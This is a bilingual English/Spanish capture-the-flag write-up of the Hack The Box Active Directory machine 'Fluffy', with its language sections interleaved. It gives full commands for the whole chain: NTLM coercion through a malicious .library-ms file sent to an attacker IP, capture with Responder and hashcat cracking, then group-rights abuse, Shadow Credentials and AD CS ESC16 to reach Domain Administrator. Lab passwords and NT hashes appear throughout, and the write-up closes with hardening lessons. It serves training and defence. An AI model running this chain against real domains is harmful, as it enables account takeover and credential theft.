Fluffy
Executive summary — Fluffy is an Easy Active Directory box in assume-breach mode (we're given
j.fleischman:J0elTHEM4n1990!). The initial nmap scan gives away a Domain Controller (fluffy.htb/DC01) and a writable SMB share,IT, where a leftover PDF leaks another username,p.agila. There we upload a malicious .library-ms file (CVE-2025-24071, related to CVE-2025-24054) that forces NTLM authentication: Responder capturesp.agila's hash, which we crack withhashcat. BloodHound shows p.agila is in Service Account Managers, which has GenericAll over the Service Accounts group; that group in turn has GenericWrite overwinrm_svcandca_svc. We join the group, abuse Shadow Credentials to takewinrm_svc(user flag), and pivot from there toca_svc, vulnerable to AD CS ESC16, to issue an Administrator certificate and close out the box (root flag). Path: IT share -> .library-ms -> p.agila -> winrm_svc -> ESC16 -> Administrator.
| Platform | Hack The Box |
| Operating system | Windows |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.10.11.69 |
Attack map
[assume-breach] j.fleischman : J0elTHEM4n1990! (SMB/LDAP, no WinRM)
| IT share (R/W): KeePass, Everything, Upgrade_Notice.pdf -> "p.agila" hint
v
[SMB write] upload malicious .library-ms (CVE-2025-24071/24054) + Responder
v
[p.agila] NetNTLMv2 -> hashcat -> prometheusx-303
| BloodHound: p.agila -> Service Account Managers -> GenericAll over Service Accounts
| Service Accounts -> GenericWrite over winrm_svc and ca_svc
v
[winrm_svc] Shadow Credentials (certipy) -> WinRM (user.txt)
| ca_svc vulnerable to ESC16 (Security Extension disabled)
v
[ADMIN] change ca_svc UPN -> issue Administrator cert -> auth (root.txt)
1. Reconnaissance
A full port sweep followed by a targeted -sCV makes it obvious we're facing a domain controller: Kerberos, LDAP, SMB, the Global Catalog and WinRM are all open.
nmap -p- --min-rate 10000 10.10.11.69
nmap -sCV -p53,88,139,389,445,464,593,636,3268,3269,5985 10.10.11.69
🧠 53 (DNS), 88 (Kerberos), 389/3268-3269 (LDAP + Global Catalog), 445 (SMB) and 5985 (WinRM) together are the classic DC fingerprint. The LDAP banner itself confirms the domain and the controller's hostname:
Domain: fluffy.htb
DC: DC01.fluffy.htb
Resumen ejecutivo — Fluffy es un Easy de Active Directory en modo assume-breach (nos dan
j.fleischman:J0elTHEM4n1990!). El nmap inicial delata un Domain Controller (fluffy.htb/DC01) y un share SMBITcon escritura donde un PDF filtra el nombre de otro usuario,p.agila. Ahi subimos un fichero .library-ms malicioso (CVE-2025-24071, emparentada con CVE-2025-24054) que fuerza autenticacion NTLM: Responder captura el hash dep.agila, que crackeamos conhashcat. BloodHound muestra que p.agila esta en Service Account Managers, que tiene GenericAll sobre el grupo Service Accounts; ese grupo tiene a su vez GenericWrite sobrewinrm_svcyca_svc. Nos unimos al grupo, abusamos de Shadow Credentials para tomarwinrm_svc(user flag) y desde ahi pivotamos aca_svc, vulnerable a AD CS ESC16, para emitir un certificado de Administrator y cerrar la caja (root flag). Recorrido: share IT -> .library-ms -> p.agila -> winrm_svc -> ESC16 -> Administrator.
| Plataforma | Hack The Box |
| Sistema operativo | Windows |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.10.11.69 |
Mapa del ataque
[assume-breach] j.fleischman : J0elTHEM4n1990! (SMB/LDAP, no WinRM)
| share IT (R/W): KeePass, Everything, Upgrade_Notice.pdf -> pista "p.agila"
v
[SMB write] subir .library-ms malicioso (CVE-2025-24071/24054) + Responder
v
[p.agila] NetNTLMv2 -> hashcat -> prometheusx-303
| BloodHound: p.agila -> Service Account Managers -> GenericAll s/ Service Accounts
| Service Accounts -> GenericWrite s/ winrm_svc y ca_svc
v
[winrm_svc] Shadow Credentials (certipy) -> WinRM (user.txt)
| ca_svc vulnerable a ESC16 (Security Extension deshabilitada)
v
[ADMIN] cambiar UPN de ca_svc -> emitir cert de Administrator -> auth (root.txt)
1. Reconocimiento
Un escaneo completo de puertos seguido de un -sCV dirigido deja claro que estamos ante un controlador de dominio: Kerberos, LDAP, SMB, el Global Catalog y WinRM, todo abierto.
nmap -p- --min-rate 10000 10.10.11.69
nmap -sCV -p53,88,139,389,445,464,593,636,3268,3269,5985 10.10.11.69
🧠 53 (DNS), 88 (Kerberos), 389/3268-3269 (LDAP + Global Catalog), 445 (SMB) y 5985 (WinRM) juntos son la huella tipica de un DC. El propio banner LDAP confirma el dominio y el hostname del controlador:
Domain: fluffy.htb
DC: DC01.fluffy.htb
2. Validating the initial credentials (assume-breach)
We start with a low-privilege user handed to us up front. Before touching anything else, we check where it actually works:
netexec smb dc01.fluffy.htb -u j.fleischman -p 'J0elTHEM4n1990!'
The credentials validate on SMB and LDAP, but fail on WinRM: j.fleischman has no interactive session, only enough to enumerate.
3. SMB enumeration — the IT share
We list the shares with the same credentials:
netexec smb fluffy.htb -u j.fleischman -p 'J0elTHEM4n1990!' --shares
IT stands out with READ/WRITE permissions. Inside there's a password manager (KeePass), a search tool (Everything) and an Upgrade_Notice.pdf. The PDF mentions another user, p.agila — that's the key hint for who to target next, and the write permission on the share is what makes the following attack possible.
4. Exploitation — CVE-2025-24071 / CVE-2025-24054
Windows processes
.library-msfiles even when they sit inside a ZIP, without the victim ever opening them: Explorer, simply by indexing the folder, resolves the remote path the file declares, which forces an outbound NTLM authentication to whatever host the attacker controls. CVE-2025-24071 and the related CVE-2025-24054 (both patched by Microsoft in March 2025) exploit this same family of hash leaks with no real user interaction.
We generate the malicious .library-ms with a public PoC, pointing it at our HTB VPN IP, and package it into a ZIP:
python3 poc.py 0xdf <ATTACKER_IP>
exploit.zip
└── 0xdf.library-ms
We start Responder listening and upload the ZIP to the writable IT share:
sudo responder -I tun0
smbclient //dc01.fluffy.htb/IT -U j.fleischman
put exploit.zip
In under a minute, as soon as some automated process indexes the folder, Responder captures the authentication:
FLUFFY\p.agila NetNTLMv2
5. Cracking the NetNTLMv2 hash
p.agila's NetNTLMv2 hash falls to a classic wordlist:
hashcat hash.txt rockyou.txt
p.agila : prometheusx-303
We confirm the credentials, which again work on SMB but not on WinRM:
netexec smb dc01.fluffy.htb -u p.agila -p prometheusx-303
6. BloodHound — from p.agila to the service accounts
We collect the whole AD with BloodHound to map out escalation paths:
bloodhound-ce-python -c all -d fluffy.htb -u j.fleischman -p 'J0elTHEM4n1990!' \
-ns 10.10.11.69 --zip
The graph reveals the full chain:
p.agilabelongs to the Service Account Managers group, which has GenericAll over the Service Accounts group. That group, in turn, has GenericWrite over thewinrm_svcandca_svcaccounts. Andwinrm_svcbelongs to Remote Management Users: if we get its hash, we get WinRM.
p.agila -> Service Account Managers
Service Account Managers -> GenericAll over Service Accounts
Service Accounts -> GenericWrite over winrm_svc and ca_svc
winrm_svc -> member of Remote Management Users
We use the GenericAll right to add ourselves to the Service Accounts group and inherit the GenericWrite over both service accounts:
bloodyAD -u p.agila -p prometheusx-303 -d fluffy.htb --host dc01.fluffy.htb \
add groupMember 'service accounts' p.agila
7. Shadow Credentials -> winrm_svc (user.txt)
With GenericWrite over winrm_svc we abuse Shadow Credentials: instead of resetting the password (which would be noticed), we write an msDS-KeyCredentialLink attribute pointing to a certificate we control and authenticate via Kerberos with it (PKINIT), which hands us the account's NTLM hash without ever touching its password:
certipy shadow auto -u p.agila@fluffy.htb -p prometheusx-303 -account winrm_svc
NT hash: 33bd09dcd697600edf6b3a7af4875767
With that hash we get a WinRM shell and grab the user flag:
evil-winrm -i dc01.fluffy.htb -u winrm_svc -H 33bd09dcd697600edf6b3a7af4875767
type C:\Users\winrm_svc\Desktop\user.txt
8. Escalation — AD CS ESC16
Now on winrm_svc, and remembering that the Service Accounts group also has GenericWrite over ca_svc, we look for vulnerable templates and CAs with certipy find:
certipy find -u ca_svc@fluffy.htb -hashes <hash> -vulnerable -stdout
ESC16 - Security Extension Disabled
ESC16 isn't a misconfigured template — it's the CA itself: it is missing the
szOID_NTDS_CA_SECURITY_EXTextension, which normally binds every issued certificate to the requester's SID. Without that extension, the certificate only carries the requester's UPN at request time — and a UPN can be changed. The recipe is: change the UPN of an account we control toadministrator, request any authentication certificate, and the DC will authenticate us as Administrator because that's the only thing it can read off the certificate.
We change ca_svc's UPN (which we control via GenericWrite) to administrator and request a certificate with the User template:
certipy account -u winrm_svc@fluffy.htb -hashes <hash> -user ca_svc -upn administrator update
certipy req -u ca_svc -hashes <hash> -dc-ip 10.10.11.69 -target dc01.fluffy.htb \
-ca fluffy-DC01-CA -template User
The resulting certificate (administrator.pfx) authenticates and hands us Administrator's real NTLM hash:
certipy auth -dc-ip 10.10.11.69 -pfx administrator.pfx -u administrator -domain fluffy.htb
NTLM hash Administrator:
8da83a3fa618b6e3a00e93f676c92a6e
With that hash we open a WinRM shell as Administrator and read the root flag. Domain fully compromised. 🏴☠️
evil-winrm -i dc01.fluffy.htb -u administrator -H 8da83a3fa618b6e3a00e93f676c92a6e
type C:\Users\Administrator\Desktop\root.txt
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Recon | IT share (SMB) | Write access enabled + a sensitive file exposes user p.agila | Hint that steers the attack |
| Foothold | IT share (.library-ms) | CVE-2025-24071 / CVE-2025-24054 (NTLM coercion) + Responder | p.agila's NetNTLMv2 hash |
| Lateral | Service Account Managers -> Service Accounts | Nested GenericAll -> GenericWrite over service accounts | Shadow Credentials over winrm_svc |
| PrivEsc | AD CS (ESC16) | Disabled Security Extension on the CA + UPN swap | Domain Administrator certificate and hash |
Lessons learned
- CVE-2025-24071 / CVE-2025-24054: patch;
.library-msfiles (and similar ones like.url) can leak NTLM hashes with no real user interaction, even from inside a ZIP. - Share permissions: no share should grant write access to low-privilege users, let alone contain files that expose other domain accounts.
- NTLM/SMB signing: enforce signing and block outbound NTLM authentication to arbitrary hosts to mitigate coercion + relay.
- Nested group delegation: a GenericAll over a group that in turn has GenericWrite over service accounts is a full privilege escalation path; audit these chains with BloodHound regularly.
- Shadow Credentials: monitor and alert on writes to the
msDS-KeyCredentialLinkattribute on service accounts. - Harden AD CS: ESC16 lets you impersonate anyone with just a UPN change; enable the Security Extension on the CA and audit templates and enrollment rights with
certipy find.
2. Validacion de las credenciales iniciales (assume-breach)
Partimos de un usuario de bajo privilegio ya dado por el enunciado. Antes de tocar nada, comprobamos donde funciona:
netexec smb dc01.fluffy.htb -u j.fleischman -p 'J0elTHEM4n1990!'
Las credenciales validan en SMB y LDAP, pero fallan en WinRM: j.fleischman no tiene sesion interactiva, solo sirve para enumerar.
3. Enumeración SMB — el share IT
Listamos los recursos compartidos con las mismas credenciales:
netexec smb fluffy.htb -u j.fleischman -p 'J0elTHEM4n1990!' --shares
Destaca IT con permisos READ/WRITE. Dentro hay un gestor de contraseñas (KeePass), una herramienta de busqueda (Everything) y un Upgrade_Notice.pdf. El PDF menciona a otro usuario, p.agila: esa es la pista clave para saber a quien apuntar en el siguiente paso, y el permiso de escritura en el share es lo que hace posible el ataque.
4. Explotación — CVE-2025-24071 / CVE-2025-24054
Windows procesa los ficheros
.library-msincluso cuando estan dentro de un ZIP, sin que la victima llegue a abrirlos: el propio Explorador, al indexar la carpeta, resuelve la ruta remota que el fichero declara y eso fuerza una autenticacion NTLM saliente hacia el host que el atacante controle. CVE-2025-24071 y la relacionada CVE-2025-24054 (ambas corregidas por Microsoft en marzo de 2025) explotan esta misma familia de fuga de hash sin interaccion real del usuario.
Generamos el .library-ms malicioso con un PoC publico, apuntando a nuestra IP de la VPN de HTB, y lo empaquetamos en un ZIP:
python3 poc.py 0xdf <ATTACKER_IP>
exploit.zip
└── 0xdf.library-ms
Ponemos Responder a escuchar y subimos el ZIP al share IT con escritura:
sudo responder -I tun0
smbclient //dc01.fluffy.htb/IT -U j.fleischman
put exploit.zip
En menos de un minuto, en cuanto algun proceso automatizado indexa la carpeta, Responder captura la autenticacion:
FLUFFY\p.agila NetNTLMv2
5. Crackeo del hash NetNTLMv2
El hash NetNTLMv2 de p.agila cae con un diccionario clasico:
hashcat hash.txt rockyou.txt
p.agila : prometheusx-303
Confirmamos las credenciales, que de nuevo funcionan en SMB pero no en WinRM:
netexec smb dc01.fluffy.htb -u p.agila -p prometheusx-303
6. BloodHound — de p.agila a las cuentas de servicio
Recolectamos todo el AD con BloodHound para mapear rutas de escalada:
bloodhound-ce-python -c all -d fluffy.htb -u j.fleischman -p 'J0elTHEM4n1990!' \
-ns 10.10.11.69 --zip
El grafo revela la cadena completa:
p.agilapertenece al grupo Service Account Managers, que tiene GenericAll sobre el grupo Service Accounts. Ese grupo, a su vez, tiene GenericWrite sobre las cuentaswinrm_svcyca_svc. Ywinrm_svcpertenece a Remote Management Users: si conseguimos su hash, tenemos WinRM.
p.agila -> Service Account Managers
Service Account Managers -> GenericAll sobre Service Accounts
Service Accounts -> GenericWrite sobre winrm_svc y ca_svc
winrm_svc -> miembro de Remote Management Users
Aprovechamos el GenericAll para añadirnos al grupo Service Accounts y heredar el GenericWrite sobre ambas cuentas de servicio:
bloodyAD -u p.agila -p prometheusx-303 -d fluffy.htb --host dc01.fluffy.htb \
add groupMember 'service accounts' p.agila
7. Shadow Credentials -> winrm_svc (user.txt)
Con GenericWrite sobre winrm_svc abusamos de Shadow Credentials: en lugar de resetear la contraseña (lo que se notaria), escribimos un atributo msDS-KeyCredentialLink con un certificado propio y autenticamos por Kerberos con ese certificado (PKINIT), lo que nos devuelve el hash NTLM de la cuenta sin tocar su password:
certipy shadow auto -u p.agila@fluffy.htb -p prometheusx-303 -account winrm_svc
NT hash: 33bd09dcd697600edf6b3a7af4875767
Con ese hash entramos por WinRM y recogemos la user flag:
evil-winrm -i dc01.fluffy.htb -u winrm_svc -H 33bd09dcd697600edf6b3a7af4875767
type C:\Users\winrm_svc\Desktop\user.txt
8. Escalada — AD CS ESC16
Ya en winrm_svc, y recordando que el grupo Service Accounts tambien tiene GenericWrite sobre ca_svc, buscamos plantillas y CAs vulnerables con certipy find:
certipy find -u ca_svc@fluffy.htb -hashes <hash> -vulnerable -stdout
ESC16 - Security Extension Disabled
ESC16 no es una plantilla mal configurada, sino la CA entera: le falta la extension
szOID_NTDS_CA_SECURITY_EXT, que normalmente ata cada certificado emitido al SID de quien lo pidio. Sin esa extension, el certificado solo lleva el UPN del solicitante en el momento de la peticion — y el UPN de una cuenta se puede cambiar. La receta es: cambiar el UPN de una cuenta que controlamos aadministrator, pedir un certificado de autenticacion cualquiera, y el DC nos autenticara como Administrator porque es lo unico que puede leer en el certificado.
Cambiamos el UPN de ca_svc (que controlamos vía GenericWrite) a administrator y pedimos un certificado con la plantilla User:
certipy account -u winrm_svc@fluffy.htb -hashes <hash> -user ca_svc -upn administrator update
certipy req -u ca_svc -hashes <hash> -dc-ip 10.10.11.69 -target dc01.fluffy.htb \
-ca fluffy-DC01-CA -template User
El certificado (administrator.pfx) se autentica y nos devuelve el hash NTLM real de Administrator:
certipy auth -dc-ip 10.10.11.69 -pfx administrator.pfx -u administrator -domain fluffy.htb
NTLM hash Administrator:
8da83a3fa618b6e3a00e93f676c92a6e
Con ese hash abrimos WinRM como Administrator y leemos la root flag. Dominio comprometido por completo. 🏴☠️
evil-winrm -i dc01.fluffy.htb -u administrator -H 8da83a3fa618b6e3a00e93f676c92a6e
type C:\Users\Administrator\Desktop\root.txt
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Recon | Share IT (SMB) | Escritura habilitada + fichero sensible expone el usuario p.agila | Pista para orientar el ataque |
| Foothold | Share IT (.library-ms) | CVE-2025-24071 / CVE-2025-24054 (coercion NTLM) + Responder | Hash NetNTLMv2 de p.agila |
| Lateral | Service Account Managers -> Service Accounts | GenericAll anidado -> GenericWrite sobre cuentas de servicio | Shadow Credentials sobre winrm_svc |
| PrivEsc | AD CS (ESC16) | Security Extension deshabilitada en la CA + cambio de UPN | Certificado y hash de Administrator del dominio |
Lecciones aprendidas
- CVE-2025-24071 / CVE-2025-24054: parchea; los ficheros
.library-ms(y similares como.url) pueden filtrar hashes NTLM sin interaccion real del usuario, incluso dentro de un ZIP. - Permisos de shares: ningun share debería permitir escritura a usuarios de bajo privilegio, y menos aun contener ficheros que revelen otras cuentas del dominio.
- Firma NTLM/SMB: fuerza la firma y bloquea la autenticacion NTLM saliente hacia hosts arbitrarios para mitigar coercion + relay.
- Delegacion de grupos anidada: un GenericAll sobre un grupo que a su vez tiene GenericWrite sobre cuentas de servicio es una escalada de privilegios completa; audita estas cadenas con BloodHound periodicamente.
- Shadow Credentials: vigila y alerta sobre escrituras al atributo
msDS-KeyCredentialLinken cuentas de servicio. - Endurece AD CS: ESC16 permite suplantar a cualquiera con solo cambiar un UPN; habilita la Security Extension en la CA y audita plantillas y derechos de enrolamiento con
certipy find.